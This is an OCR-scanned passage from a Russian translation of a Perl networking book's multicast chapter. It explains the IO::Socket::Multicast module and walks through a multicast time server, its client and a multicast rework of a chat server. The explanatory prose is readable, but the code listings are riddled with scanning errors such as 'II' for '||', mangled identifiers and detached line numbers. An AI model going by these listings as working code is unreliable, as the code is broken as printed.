Строки 23-29. MeToflmcast_add(). Этот метод в качестве параметров принимает сокет, адрес
группы многоадресной рассылки и необязательный параметр с указанием локального
интерфейса. Если интерфейс указан, метод вызывает внутреннюю функцию get_if_addr (), которая
обеспечивает применение альтернатианых способов указания интерфейса. Если интерфейс не
указан, то функция get_if_addr() возвращает значение "о.0.0.о", которое представляет
собой безразличный адрес inaddrany в виде четырех чисел, разделенных точками.
Затем создается структура ip_mreq путем объединения двоичных представлений адреса
группы и локального IP-адреса, и эта структура передается методу setsockopto с уровнем
сокета siplevel и командой ip_add_membership.
Строки 30-36. Метод mcast_drop(). Этот метод содержит тот же код, что и метод
mcast_add (), за исключением того, что в самом конце в нем вызывается метод
setsockopto С командой IPDROPMEMBERSHIP.
Строки 37-47. Метод mcast_if (). Этот метод позволяет присвоить или определить
интерфейс для исходящих многоадресных сообщений. Если в вызывающей процедуре указан
интерфейс, он преобразуется в адрес путем вызова функции getif _addr (), затем этот адрес
превращается в упакованную двоичную версию с использованием функции inet_aton()
и вызывается метод setsockopt О с командой ip_multicast_if.
Для аыборки значения интерфейса применяется более сложный метод в связи с ошибкой
в кодв операционной системы Linux в результате которой метод getsockopt о возвращает
12-байтовую структуру ip_mreqn, а не ожидаемый 4-байтовый упакованный IP-адрес
интерфейса (автор обнаружил это. изучая исходный код ядра). Необходимая информация находится
во втором поле этой структуры, начиная с байта номер 4. Выполняется проверка длины
результата вызова метода getsockopt (), и если она больше 4, адрес извлекается с
использованием функции substrO. После этого вызывается внутренняя процедура
f ind_interf асе () для преобразования IP-адреса в имя логического устройства интерфейса.
Строки 48-56. Метод mcast_loopback(). Этот метод намного проще. Если указан второй
параметр, он вызывает метод setsockopto с командой ip_multicast_loop и параметром
Глава 21. Многоадресная рассылка
625
1 — для включения режима возврата пакетов на локальный хост и О — для его выключения.
Вином случае он вызывает метод getsockopto для выборки установки режима возврата
пакетов. Метод getsockopto возвращает установку в виде упакованной двоичной строки,
поэтому она преобразуется в число, предназначенное для восприятия человеком, с
использованием формата "I" (формат целого числа без знака).
• Строки 57-65. Метод mcast_ttl(). Данный метод позволяет получить или установить
значение TTL для исходящих многоадресных сообщений. Если указано значение TTL, оно
упаковывается в двоичное целое число с использованием формата "i" и передается методу
setsockopt о с командой ipmultICAStjttl. Если значение параметра не задано,
выполняется обратный процесс.
• Строки 66-75. Функция get_if_addr о. Последние две функции используются самим
модулем. Функция get_if_addr() позволяет указать в вызывающем операторе сетевые
интерфейсы с использованием IP-адреса в виде четырех чисел, разделенных точками, или имени
логического устройства. Функция принимает два параметра, состоящие из имени сокета и
интерфейса. Если параметр с обозначением интерфейса пуст, функция возвращает значение
"0.0.0.0", которое представляет собой эквивалентное представление безразличного адреса
inaddrany в виде четырех чисел, разделенных точками. Если интерфейс по результатам
сопостааления с образцом выглядит как адрес в виде четырех чисел, разделенных точками, то
функция возвращает его неизменным.
В ином случае предполагается, что параметр представляет собой имя логического устройства.
Вызывается метод if_addr() сокета (унаследованный от модуля Ю:: Interface) для
выборки соответствующего адреса интерфейса. Если это дейстаие завершается неудачей, вы-
эдгеэдтся функция die с сообщением db ошибке. Для проверки параметров на
непротиворечивость вызывается метод if_flags () для подтверждения того, что интерфейс может
применяться в многоадресной рассылке, а если он не соответствует этому требованию, вызывается
функция die. В ином случае метод возвращает адрес интерфейса.
• Строки 76-82. Функция find_interface(). Последняя функция выполняет действие,
противоположное предыдущему; она возвращает имя логического устройства интерфейса,
соответствующего IP-адресу. Данная функция выбирает список имен устройств путем вызова
метода ifiisto сокета (унаследованного от модуля Ю: interface) и проходит в цикле по
этому списку до тех пор, пока не будет найдет интерфейс с нужным IP-адресом.
Примеры приложений многоадресной
рассылки
Рассмотрим два примера приложений многоадресной рассылки. Одним из них
является простой сервер службы времени, который периодически передает значения
текущего времени всем, кто в этом заинтересован. В другом примере показана
переработанная система интерактивной переписки из главы 19.
Сервер службы времени с многоадресной
рассылкой
Первым примером приложения является сервер, который периодически передает
имя хоста и время суток в заранее определенный порт по адресу группы
многоадресной рассылки. Клиентские приложения, которые желают получать сообщения
службы времени, присоединяются к группе и выполняют эхо-повтор всей полученной
информации на стандартное устройство вывода. Нечто подобное можно использовать
для контроля за состоянием серверов в организации: если сервер прекращает переда-
626
Часть ГУ. Дополнительные темы
вать сообщения о состоянии, это может быть предупреждением о том, что он
перешел в автономный режим.
Благодаря модулю 10::Socket: :Multicast, клиентское и серверное приложения
состоят менее чем из 25 строк кода. Вначале рассмотрим код сервера (листинг 21.2).
Листинг 21.2. Сервер службы времени с м < 'адресной расе •"
0: #!/usr/bin/perl
1: # Файл: time_of_day_serv.pl
17
18
19
20
21
22
23
24
use IO::Socket;
use IO::Socket::Multicast;
use Sys::Hostname;
use constant PERIOD => 15; # Отправлять многоадресное
# сообщение через калздые 15 с (приблизительно)
my $port = shift I I 20*70;
my $addr = shift || '224.225.226.227';
my $ttl = shift || 31; # He выходить за пределы
# организации
9: # Установка сокета
10: my $sock = IO::Socket::Multicast->new() or
die "Can't create socket: $!";
11: # Установка TTL
12: $sock->mcast_ttl($ttl) or die "Can't set ttl: $!'
13: # Создание адреса назначения
14: my $dest = sockaddr_in($port,inet_aton($addr));
15: # Получение имени хоста
16: my $hostname = hostname;
# Главный цикл
while (1) {
if (time % PERIOD ==0) { # Четное кратное интервала
my $message = localtimeO . '/' . $hostname;
send ($sock, $message,0,$dest) II die "couldn't send: $!'
}
sleep 1;
}
Проведем анализ программы.
Строки 1-4. Загрузка модулей. Загружаются модули Ю:: socket и io:: Socket—Multicast.
Кроме того, загружается модуль Sys::Hostname, который входит в состав стандартного
дистрибутива Perl; он позволяет определить имя хоста вне зависимости от операционной
системы.
Строки 5-8. Получение параметров. Установлен интервал 15 с между передачами. Затем из
командной строки выполняется чтение параметров с номером порта, адресом группы
многоадресной рассылки и значением TTL для передачи; если эти параметры не определены,
принимаются допустимые значения по умолчанию. Для порта произвольным образом выбирается
значение 2070. В качестве адреса группы многоадресной рассыпки определяется адрес
224.225.226.227 одной из многих нераспределенных групп. Значение TTL выбирается равным
Глава 21. Многоадресная рассылка
627
31; оно, в соответствии с соглашением, определяет область распространения пакетов в
пределах организации (сообщения остаются внутри организации, а не перенаправляются во
анешний мир).
• Строки 9-12. Установка сокета. Создается новый сокет UDP для многоадресной рассылки
путем вызова метода Ю:: socket: :Multicast->new () и устанавливается значение TTL для
исходящих многоадресных сообщений посредством вызова метода mcast_ttl () сокета.
• Строки 13-16. Подготовка к передаче сообщений. Создается упакованный адрес
назначения с помощью функций inetaton () и sockaddr_in () ,для чего применяются адрес группы
многоадресной рассылки и номер порта, указанные е командной строке. Определяется также
имя хоста и сохраняется в переменной для дальнейшего использования.
• Строки 17-24. Главный цикл. Теперь сервер входит в главный цикл. Поставлена задача
передавать значения, четные кратные константе period, заданной в секундах, поэтому для
вычисления остатка от деления по модулю показаний функции timed в течение времени
period применяется оператор %. Если данное время соответствует четному кратному
значения period, то создается сообщение о состоянии в виде отметки местного времени, за
которым следует косая черта и имя хоста, в следующем формате:
Mon May 29 19:05:15 2000/pesto.cshl.org.
Копия сообщения отправляется в сокет с помощью функции send () по установленному ранее
адресу назначения многоадресной рассылки. После передачи сообщения программа
приостанавливается на 1 с, а затем снова входит в цикл.
Клиент службы времени с многоадресной
рассылкой
Теперь рассмотрим клиентскую программу, которая может принимать сообщения
от этого сервера (листинг 21.3).
Листинг21. .Клиенте •• врем н • «адрес *~р- ■ к»й
0: #!/usr/bin/perl
1: # Файл: time_of_day_cli.pl
2: use 10::Socket;
3: use IO::Socket::Multicast;
4: my $port = shift || 2070;
5: my $addr = shift II '224.225.226.227*;
6
7
8
9
10
11
12
13
14
15
16
# Установка сокета
my $sock = 10::Socket::Multicast->new(LocalPort=>$port)
or die "Can't create socket: $!";
# Добавление адреса многоадресной рассылки
$sock->mcast_add($addr) or die "mcast_add: $!";
while (1) {
my ($message,$peer);
die "recv error: $!" unless $peer =
recv($sock,$message,1024,0);
my ($port,$peeraddr) = sockaddr_in($peer);
print inet_ntoa($peeraddr) . ": $message\n";
}
628 Часть IV. Дополнительные темы
Проведем анализ программы.
• Строки 1-3. Загрузка модулей. Как и прежде, загружаются модули Ю:.-socket
И 10:: Socket :Multicast.
• Строки 4, 5. Выборка параметров из командной строки. Из командной строки выбирается
номер порта и адрес группы многоадресной рассылки. Если эти параметры не заданы,
принимаются значения, предусмотренные по умолчанию в сервере.
• Строки 7-10. Настройка сокета. Выполняется настройка сокета, который будет применяться
для получения многоадресных сообщений. Создается сокет UDP с использованием метода
io::socket: :Multicast->new, ему передается параметр LocalPort для привязки сокета
с помощью функции bind () к требуемому порту. Вновь созданный сокет теперь готов к
приему одноадресных но не многоадресных сообщений, направленных в этот порт. Чтобы
разрешить прием сообщений, отправленных по адресу группы, вызывается метод mcast_add() с
указанным адресом группы многоадресной рассылки.
• Строки 11—16. Главный цикл клиентской программы. Остальная часть клиентской
программы представляет собой простой цикл, а котором вызывается функция recv () для
получения сообщений, поступающих из сокета. Адрес отправителя распаковывается с
помощью функции sockaddr_in (), а затем адрес и тело сообщения выводятся на стандартное
устройство вывода.
Для проверки клиента автор вызвал сервер на нескольких компьютерах локальной
сети и запустил клиентскую программу на своем настольном компьютере. Ниже
показаны результаты работы клиента в течение 45 с (между интервалами вставлены
пустые строки для удобства чтения).
% time_of_day_cli.pl
143.48.31.66 Wed Aug 23 13:31:00 2000/swiss
143.48.31.45 Wed Aug 23 13:31:00 2000/feta.cshl.org
143.48.31.54 Wed Aug 23 10:31:00 2000/pesto
143.48.31.47 Wed Aug 23 13:31:00 2000/turunmaa.cshl.org
143.48.31.43 Wed Aug 23 13:31:00 2000/romano.cshl.org
143.48.31.69 Wed Aug 23 13:31:00 2000/munster.cshl.org
143.48.31.63 Wed Aug 23 13:31:00 2000/whey.cshl.org
143.48.31.66 Wed Aug 23 13:31:15 2000/swiss
143.48.31.69 Wed Aug 23 13:31:15 2000/munster.cshl.org
143.48.31.63 Wed Aug 23 13:31:15 2000/whey.cshl.org
143.48.31.44 Wed Aug 23 13:31:15 2000/edam.cshl.org ■
143.48.31.45 Wed Aug 23 13:31:15 2000/feta.cshl.org
143.48.31.54 Wed Aug 23 10:31:15 2000/pesto
143.48.31.47 Wed Aug 23 13:31:15 2000/turunmaa.cshl.org
143.48.31.43 Wed Aug 23 13:31:15 2000/romano.cshl.org
143.48.31.66 Wed Aug 23 13:31:30 2000/swiss
143.48.31.43 Wed Aug 23 13:31:30 2000/romano.cshl.org
143.48.31.69 Wed Aug 23 13:31:30 2000/munster.cshl.org
143.48.31.63 Wed Aug 23 13:31:30 2000/whey.cshl.org
143.48.31.44 Wed Aug 23 13:31:30 2000/edam.cshl.org
143.48.31.45 Wed Aug 23 13:31:30 2000/feta.cshl.org
143.48.31.54 Wed Aug 23 10:31:30 2000/pesto
143.48.31.47 Wed Aug 23 13:31:30 2000/turunmaa.cshl.org
Предполагалось, что все компьютеры в сети офиса синхронизируют свои
внутренние часы по протоколу сетевого времени. То, что показания компьютера "pesto"
отличаются на несколько часов от показаний других компьютеров, говорит о том, что
на этом хосте допущена ошибка при установке часового пояса. Клиент, используемый
в качестве примера, неожиданно помог выявить эту проблему.
Глава 21. Многоадресная рассылка
629
Следует также отметить, что передач из хоста edam. cshl. org не было в пер
вой группе, но они стали появляться позднее. Это может быть связано с тем, что
данный компьютер случайно пропустил установленный интервал времени
(точность соблюдения установки времени функции sleep () находится в
пределах одной секунды) или было потеряно многоадресное сообщение от этого
компьютера. Многоадресные сообщения, как и все прочие сообщения UDP, являются
ненадежными.
Система интерактивной переписки
с многоадресной рассылкой
Ниже описано применение многоадресной рассылки для создания новой
архитектуры системы интерактивной переписки в Internet на основе UDP, описанной в главе
19. Напомним, что основу этой системы составляют пять строк кода из модуля
ChatObjects::Channel сервера.
sub send_to_all {
my $self = shift;
my ($code,$text) = G_;
$_->send($code,$text) foreach $self->users;
)
Получив код и тело сообщения, метод send_to_all () выполняет поиск всех
зарегистрированных пользователей и отправляет им копию сообщения. Передача
данных сокетом выполняется с помощью объекта ChatObjects : : User, который хранит
копию адреса и номера порта клиента.
Недостатком этой системы является то, что при очень большом числе
зарегистрированных пользователей серверу все равно приходится рассылать много пакетов
UDP, при этом перегружая локальную сеть и маршрутизаторы. Такая система,
вероятно, может применяться в более широких масштабах, для поддержки тысяч
зарегистрированных пользователей, но, безусловно, не сотен тысяч (это также зависит от
объема трафика к каждому клиенту).
В этой пересмотренной версии метод send_to_all () сервера будет заменен
другим, который выглядит следующим образом.
sub send_to_all {
my $self = shift;
my ($code,$text) = G_;
my $dest = $self->mcast_dest;
my $comm = $self->comm;
$comm->send_event($code,$text,$dest) II warn $!;
}
Вместо поиска каждого клиента и отправки ему одноадресного сообщения,
выполняется единственный вызов метода send_event () объекта связи с
использованием адреса группы многоадресной рассылки в качестве адреса назначения. Более
подробно этот метод будет рассмотрен при описании кода.
Рассмотрим пересмотренный протокол интерактивной переписки с точки зрения
клиента. В первоначальной версии этой системы клиент обменивался с сервером
сообщениями через единственный сокет UDP, назначенный серверу. В новой версии
эта схема изменена.
630
Часть ГУ. Дополнительные темы
1. Клиент создает сокет для взаимодействия с сервером. Этот этап остается таким
же, как и в первоначальном приложении. Для отправки от клиента к
серверу всех сообщений применяется один сокет; мы будем называть его
управляющим сокетом.
2. Клиент создает второй сокет для получения многоадресных сообщений. При
регистрации клиента сервер отвечает двумя сообщениями. Первое подтверждает
успешную регистрацию, а второе содержит номер порта, через который клиент
должен принимать многоадресные сообщения. Клиент отвечает на это,
создавая второй сокет и привязывая его к указанному порту. Теперь клиент
выполняет в цикле функцию select (), ожидая перехода в состояние готовности со-
кета многоадресной рассылки, а также стандартного устройства ввода и
управляющего сокета.
3. Клиент присоединяется к группам многоадресной рассылки для подключения к
каналам. Существует взаимно однозначное соответствие между каналами
интерактивной переписки и группами многоадресной рассылки. После того как
клиент подключается к новому каналу интерактивной переписки, сервер отвечает
подтверждением, содержащим адрес группы многоадресной рассылки, через
который передаются общедоступные сообщения для нее. Клиент
присоединяется к группе с использованием метода mcast_add ().
4. Клиент выходит из группы многоадресной рассылки для отключения от канала.
Чтобы отключиться от канала, клиент вызывает метод mcast_drop ().
5. Клиент, как и прежде, отправляет общедоступные сообщения. Для отправки
общедоступного сообщения клиент посылает его на сервер, а сервер
ретранслирует сообщение как многоадресное. Поэтому код клиентской
программы для отправки общедоступного сообщения остается таким же,
как и в первоначальной версии.
С точки зрения сервера необходимо внести следующие изменения.
1. Сервер имеет обычный порт и порт многоадресной рассылки. Кроме порта,
используемого для получения управляющих сообщений от клиентов, при запуске сер
вера должен быть создан порт, применяемый для рассылки многоадресных
сообщений. Этот порт мог бы совпадать с управляющим портом, но конструкция
программы станет проще, если будут применяться два отдельных порта.
2. Номер порта многоадресной рассылки отправляется клиенту во время регистрации.
Необходимо предусмотреть сообщение нового типа, которое будет
отправляться клиенту во время регистрации, и содержать информацию о том, через
какой порт он должен получать многоадресные сообщения.
3. Каждый канал интерактивной переписки имеет адрес группы многоадресной
рассылки. Каждая группа интерактивной переписки имеет отдельный адрес
многоадресной рассылки. Для отправки сообщения всем участникам дискуссии в
канале сервер ищет адрес соответствующей группы и отправляет по нему
единственное ссюбщение.
Характерной особенностью этого проекта является то, что клиент отправляет
общедоступные сообщения на сервер с использованием обычной одноадресной
рассылки, а сервер ретранслирует сообщение участникам дискуссии в канале
с помощью многоадресной рассылки. Вполне приемлемая альтернатива могла бы
Глава 21. Многоадресная рассылка
631
состоять в том, чтобы ответственность за отправку общедоступных сообщений
непосредственно по соответствующему адресу многоадресной рассылки взял на
себя сам клиент. Обе эти схемы построения программы вполне приемлемы и
достигают главной цели — они предотвращают перегрузку сервера и уменьшают
общий объем трафика.
Автор выбрал первую схему по следующим причинам. Прежде всего, ему хотелось
избежать слишком большой переработки клиентской программы, которая
потребовалась бы в том случае, если бы задача контроля над тем, к каким каналам
присоединился пользователь, перешла к клиенту. Кроме того, автор хотел сохранить
возможность введения на сервере общего контроля над тем, что содержится в сообщениях
клиентов. Во многих системах интерактивной переписки предусмотрена функция,
позволяющая администратору сервера призвать к порядку пользователя, который
в своих действиях выходит за рамки приличий. Поскольку все общедоступные
сообщения должны проходить через сервер, то существует возможность добавить это
средство позже. Немаловажным является также то, что исходящие многоадресные
сообщения имеют время жизни TTL, который может иметь разный смысл в
различных клиентских подсетях. Если все многоадресные сообщения исходят от сервера, то
появляется возможность обеспечить "постоянство" области распространения
общедоступных сообщений.
Вначале рассмотрим программу сервера, а затем и программу клиента. Первое
изменение весьма незначительно (листинг 21.4). В модуле ChatObjects: :ChatCodes
введена новая константа с кодом события SET_MCAST_PORT. Это сообщение
отправляется сервером клиенту для указания на то, к какому порту он должен выполнить
привязку для получения многоадресных сообщений.
ЛИСТИНГ 21.4. Исп»авленный МОДУЛЬ ChatOb' ects: : ChatCodes
О: package ChatObj ects::ChatCodes;
1: use strict;
2: require Exporter;
3: use vars qw(@ISA GEXPORT);
4: @ISA = qw(Exporter);
5: GEXPORT = qw(
6: ERROR
7: LOGIN_REQ LOGIN_ACK
[... Вез изменений ...]
16: SET_MCAST_PORT
17: );
18: use constant ERROR => 10;
19: use constant LOGIN_REQ => 20;
[... без изменений ...]
37: use constant SET_MCAST_PORT => ISC-
SB: 1;
Теперь рассмотрим сценарий сервера (листинг 21.5). Он почти не отличается от
первоначальной версии, поэтому представим только те фрагменты, которые в нем
изменились.
632
Часть Г/. Дополнительные темы
и тинг рвер » »адр- ной рас ы ки
0: #!/usr/bin/perl -w
1: # Файл: mchat_server.pl
2: # Сервер интерактивной переписки на основе многоадресной
# рассылки
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27:
28:
29:
30:
=> 'logout*,
=> 'join',
=> 'part',
=> 'send_public',
=> 'send private',
use strict;
use IO::Socket::Multicast;
use ChatObjects::ChatCodes;
use ChatObjects::MChannel;
use ChatObjects::MComm;
use constant DEBUG => 0;
# Таблица переходов
my %dispatch = (
LOGOFF()
JOIN_REQ()
PART_REQ()
SENDJPUBLICO
SEND_PRIVATE()
LIST_CHANNELS() => 'listchannels',
LISTUSERSO => 'listusers',
);
# Создание сокета UDP
my $port = shift || 2027;
my $mcast_port = shift || 2028;
my $server = ChatObjects::MComm->new($port,$mcast_port);
# Создание ряда каналов
# Название Описание Адрес
my $mc = 'ChatObjects::MChannel';
$mc->new('CurrentEvents','Discussion of current events',
■225.1.0.1',$server);
'Talk about the weather',
'225.1.0.2',$server);
'For those with the green thumb',
•225.1.0.3',$server);
'For hobbiests of all types',
•225.1.0.4',$server);
'For our furry and feathered friends',
'225.1.0.5',$server);
$mc->new('Weather',
$mc->new('Gardening',
$mc->new('Hobbies',
$mc->new('Pets',
31: warn "servicing incoming requests...\n";
32: while (1) {
33: my $data;
34: next unless my ($code,$msg,$addr) = $server->recv_event;
35: warn "$code $msg\n" if DEBUG;
36: do_login($addr,$msg,$server) && next if $code = LOGIt_REQ;
37: my $user = ChatObjects::User->lookup_byaddr($addr);
36: $server->send_event(ERROR,"please log in",$addr) && next
39: unless defined $user;
Глава 21. Многоадресная рассылка
633
40: $ se rve r->send_event
(ERROR,"unimplemented message code",$addr) && next
41: unless my $disp"atch = $dispatch{$code};
42: $user->$dispatch($msg);
43: }
44: sub do_login {
45: my ($addr,$nickname,$server) = @_;
46: return $server->send_event
(ERROR,"nickname already in use",$addr)
47: if ChatObjects::User->lookup_byname($nickname);
48: my $u = ChatObjects::User->new($addr,$nickname,$comm) or
return;
49: $u->send(SET_MCAST_PORT,$comm->mport);
50: }
Проведем анализ программы.
• Строки 4-7. Загрузка модулей, содержащих подклассы многоадресной рассылки. Вместо
загрузки модулей ChatObjects::Channel и ChatObjects: :Conun, загружаются немного
измененные подклассы ChatObjects: :MChannel и ChatObjects: :MComm.
• Строки 19-21. Чтение параметров из командной строки. Из командной строки считываются
три параметра с обозначением управляющего порта, порта многоадресной рассылки и
значения TTL исходящих общедоступных сообщений. Если порт многоадресной рассылки не указан,
применяется номер управляющего порта, увеличенный на единицу. Если не указано значение
TTL, то используется значение 31, соответствующее области распространения в масштабах
всей организации.
• Строка 22. Создание нового объекта связи. Вызывается метод ChatObjects: :MComm-
>new () для создвния нового объекта связи. В первоначальной версии этого сервера объект
ChatObjects: :MComm применялся как посредник в процессе отправки и получения
сообщений с кодами событий от клиентов. Его основная задача состоит в упаковке и распаковке
сообщений системы интерактивной переписки, в которых применяется разработанный нами
двоичный формат. Этот подкласс первоначального класса ChatObjects: :Comm принимает три
параметра: управляющий порт, порт многоадресной рассылки и значение TTL для исходящих
многоадресных сообщений.
• Строки 23-30. Создание каналов. Создается ряд каналов интерактивной переписки
в форме объектов ChatObjects: :MChannel. Конструктор этого подкласса принимает
четыре параметра: название и описание канала, а также два новых параметра,
состоящие из адреса группы многоадресной рассылки данного канала и объекта связи
ChatObjects: :MComm. Для этого мы произвольно выбрали адреса групп в диапазоне от
225.1.0.1 до 225.1.0.5.
• Строки 32-43. Главный цикл. Главный цикл сервера совпадает с первоначальной
версией.
• Строки 44-50. Выполнение запросов на регистрацию. Подпрограмма do_login () немного
изменилась. После успешной регистрации пользователя и создания соответствующего
объекта ChatObjects: :User вызывается метод send() объекта пользователя для отправки
клиенту сообщения о событии set_MCAst_port. Параметром для формирования этого
сообщения о событии является порт многоадресной рассылки, полученный с помощью метода
mport о объекта связи ChatObjects: :MComm (это значение можно также получить из
глобальной переменной Smport).
Код модуля ChatObjects: :MComm приведен в листинге 21.6. Это— подкласс
класса ChatObjects: :Conim, в котором перекрыт конструктор new() и добавлен один
метод, mport ().
634
Часть IV. Дополнительные темы
ЛИСТИНГ 21.6. МОДУЛЬ ChatObjocts: :МСошш
0: package ChatObjects::MComm;
1: # Файл: ChatObjects/MComm.pm
2
3
4
5
6
7
8
9
10
11
12
13
14
15
18
19
20
21
22
23
24:
use strict;
use ChatOb j ects: : Coinm;
use IO::Socket::Multicast;
use vars '@ISA';
GISA = 'ChatObjects::Comm';
sub new {
my $pack = shift;
my ($port,$mport) = @_;
my $self = $pack->SUPER::new(LocalPort=>$port);
$self->{mport} = $mport;
$self->socket->mcast_ttl(64) ;
warn "setting ttl to ",$self->socket->mcast_ttl;
return $self;
}
16: sub create_socket { shift; IO::Socket::Multicast->new(@_) )
17: sub mport { shift->{mport} }
sub mcast_event {
my $self = shift;
my ($code,$text,$mcast_addr) = @_;
my $dest = sockaddr_in($self->mport,inet__aton($mcast_addr));
$self->send_event($code, $text,$dest);
)
Проведем анализ программы.
Строки 1-6. Загрузка модулей. Интерпретатор Perl получает информацию о том, что
ChatObjects: :MComm является подклассом класса ChatObjects: :Comm, и загружает
модули ChatOb j ects: : Coirnn и IO: : Socket. Загружается также модуль IO: : Socket: : Multicast
для получения доступа к различным методам mcast_*.
Строки 7-15. Переопределение метода new(). Метод ChatObjects: :Comm->newо
заменяется новой версией, которая начинается с вызова метода new () родительского класса для
создания управляющего сокета. После этого параметр с указанием порта многоадресной
рассылки запоминается в хеше объекта и устанавливается значение TTL для исходящих
сообщений путем вызова метода mcast_ttl () с этим управляющим сокетом.
Строка 16. Метод create_socket(). Метод create_socket () родительского объекта
перекрыт другим методом, в котором создается не объект Ю:: Socket: :Iket, а соответствующий
Объект IO: :Socket: : Multicast.
Строка 17. Метод mport (). Этот новый метод ищет порт многоадресной рассылки в хеше
объекта и возвращает его.
Строки 18-23. Метод mcast_event(). Это новый метод, который выполняет отправку
сообщения о событии после получения кода события, текста сообщения о событии и адреса
назначения многоадресной рассылки. Для создания соответствующего упакованного адреса
назначения с использованием порта многоадресной рассылки и IP-адреса группы многоадресной
рассылки применяется функция sockaddr_in (), после чего код события, текст и адрес
передаются унаследованному методу send_event ().
Глава 21. Многоадресная рассылка
635
Теперь рассмотрим модуль ChatOb j ects:: MChannel (листинг 21.7). Этот модуль,
в задачу которого входит отправка общедоступных сообщений всем текущим
участникам дискуссии в канале, требует значительных изменений.
ЛИСТИНГ 2.1.7. Модуль ChatOb ects: :MChannel
0: package ChatObjects::MChannel;
1: # Файл: ChatObjects/MChannel.pm
21
22
23
24
25
26
27
28
29
30
31
32
33
use Socket;
use ChatObjects::Channel;
use ChatObjects::ChatCodes;
use vars '@ISA';
@ISA = 'ChatObj ects::Channel■;
7: sub new {
8: my $pack = shift;
9: my ($title, $description, $mcast_addr,$server) = @_;
10: my $self = $pack->SUPER::new($title,$description);
11: @{$self}{'mcast_addr','server*} = ($mcast_addr,$server);
12: return bless $self,$pack;
13: >
14: sub mcast_addr { shift->{mcast_addr} }
15: sub server { shift->{server} }
16: sub info {
17: my $self = shift;
18: my $user_count = $self->users;
19: return "$self $user_count $self->{mcast_addr}
$self->{description}";
20: }
sub mcast_dest {
my $self = shift;
my $mport = $self->server->mport;
my $group = $self->mcast_addr;
return scalar sockaddr_in($mport,inet_aton($group) ) ;
}
sub send_to_all {
my $self = shift;
my ($code,$text) = @_;
my $dest = $self->mcast_dest;
my $comm = $self->comm;
$coinm->send_event($code,$text,$dest) II warn $!;
}
34: 1;
Проведем анализ программы.
Строки 2-6. Загрузка модулей. Модуль ChatObj ects:: MChannel объявлен как подкласс
класса Chatobjects:: channel, чтобы интерпретатор Perl обращвлся к родительскому
классу за всеми методами, которые явно не определены в этом классе.
Строки 7-13. Переопределение метода new(). Метод new о перекрыт так, чтобы сохранять
информацию об адресе группы многоадресной рассылки канала и объекте
636
Часть IV. Дополнительные темы^-
ChatObjects: :MComm, применяемом для обработки исходящих сообщений. Выполнение метода
начинается с вызова метода new () родительского класса. После этого третий и четвертый
параметры вызова метода копируются в ключи хеша с именами, соответственно, mcastaddr и comm.
• Строки 14,15. Средства доступа mcas t_addr () и comm(). Определены два средства
доступа, mcast_addr () и coram (), соответственно, для выборки адреса группы многоадресной
рассылки данного канала и Объекта СВЯЗИ ChatObjects: :MComm.
• Строки 16-20. Метод info (). Перекрывается метод info () канала, который
предусматривает отправку клиенту описательной информации о канале. Раньше этот метод возвращал имя
канала, число зарегистрированных в нем пользователей и его описание. Здесь внесены
небольшие изменения после информации о числе пользователей и после описания IP-адреса
канала для многоадресной рассылки в виде четырех чисел, раздвленных точками.
• Строки 21-26. Метод mcast_dest (). Этот метод возвращает упакованный двоичный адрес
назначения для группы многоадресной рассыпки. В нем выполняется выборка номера порта
многоадресной рассыпки из объекта сервера и применяется функция sockaddr_in () для объединения этого
номера с адресом в виде четырех чисел, разделенных точками, возвращенным методом
mcast_addr (). Функция sockaddr_in () явно помещена в скалярный контекст, для того чтобы она
упаковывала в одну структуру номер порта и IP-адрес, а не пыталась распаковать свои параметры.
• Строки 27-33. Метод send_to_ali о. Данный метод вызывается каждый раз, когда возникает
необходимость отправить сообщение всем участникам дискуссии в канале. Такие сообщения
отправляются при подключении пользователя к каналу или отключении от него, а также при
отправке пользователем в квнал общедоступного сообщения. Вызывается метод mcastdest () для
получения упакованного двоичного адреса, который применяется для отправки многоадресных
сообщений в канал, а затем этот адрес назначения, наряду с кодом события и текстом
сообщения О событии, передается методу send_event () объекта СВЯЗИ ChatObjects: :MComm.
Обратите внимание, что метод send_event () не определен в самом классе
ChatObjects: :MComm. Он унаследован от родительского класса и применяется как
для отправки одноадресных сообщений отдельным клиентам, так и для отправки
многоадресных сообщений всем абонентам канала.
Для поддержки многоадресной рассылки достаточно изменить лишь несколько
фрагментов клиентского приложения, поэтому в листинге приведены только
соответствующие части исходного кода (листинг 21.8). Полный исходный код
исправленной версии клиента приведен в Приложении А.
Листинг 21.8. Клиент системы интерактивной переписки в Internet, в котором
применяется многоадресная рассылка
#!/usr/bin/perl -w
# Файл: mchat_client.pl
# Клиент системы интерактивной переписки на основе UDP
use strict;
use IO::Socket;
use IO::Select;
use ChatObj ects::ChatCodes ;
use ChatObjects::MComm;
use IO::Socket::Multicast;
use Sys::Hostname;
10: $SIG{INT} = $SIG{TERM} = sub { exit 0 };
11: my $nickname;
[... без изменений ...]
23: # Таблица переходов для сообщений сервера
24: my %MESSAGES = (
25: ERROR() => \&error,
26: LOGIN_ACK() => \&login_ack.
Глава 21. Многоадресная рассылка
637
[... без изменений ... ]
35: SET_MCAST_PORT() => \&create_msocket,
36: );
37: # Создание сокета UDP
38: my $server = shift II hostname();
39: my $port = shift || 2027;
40: my $mcast_port = shift || 2028;
41: # Создание объекта comm для связи с сервером
# интерактивной переписки
42: $comm = ChatObjects::Comm->new(PeerAddr =>
"$servaddr:$servport")
or die $@;
43: # Попытка регистрации
44: $nickname = do_login();
45: die "Can't log in.\n" unless $nickname;
46: # Чтение команд пользователя и сообщений сервера
47: my $select = IO::Select->new($comm->socket,\*STDIN);
48: LOOP:
49: while (1) {
50: my Gready = $select->can_read;
[... без изменений ...]
59: # Создание сокета для приема многоадресных сообщений в
# ответ на событие SET_MCAST_PORT
60: sub create_msocket {
61: my ($code,$port) = @_;
62: return unless $port =~ /"\d+$/;
63: $select->remove($mcomm->socket) if defined $mcomm;
64: # Создание объекта связи comm для получения
# многоадресных сообщений канала
65: $mcomm = ChatObjects::MComm->new($port) or die $@;
66: $select->add($mcomm->socket);
67: }
[... без изменений ...]
124: # Обработка сообщений сервера о подключении к каналу
и отключении от
# него
125: sub join_part {
126: my ($code,$msg) = $_;
127: my ($title,$users,$mcast_addr)
= $msg =~ /~(\S+) (\d+) ([\d.]+)/;
128: if ($code == JOlN_ACK) {
129: # Добавление адреса многоадресной рассылки к списку
# адресов получения сообщений
130: $mcomm->socket->mcast_add($mcast_addr);
131: print "\tWelcome to the $title Channel
($users users)\n";
132: } else {
133: $mcomm->socket->mcast_drop($mcast_addr);
134: print "\You have left the $title ChannelXn";
135: }
136: }
137: # Обработка сообщений сервера с перечнем каналов
138: sub list_channel {
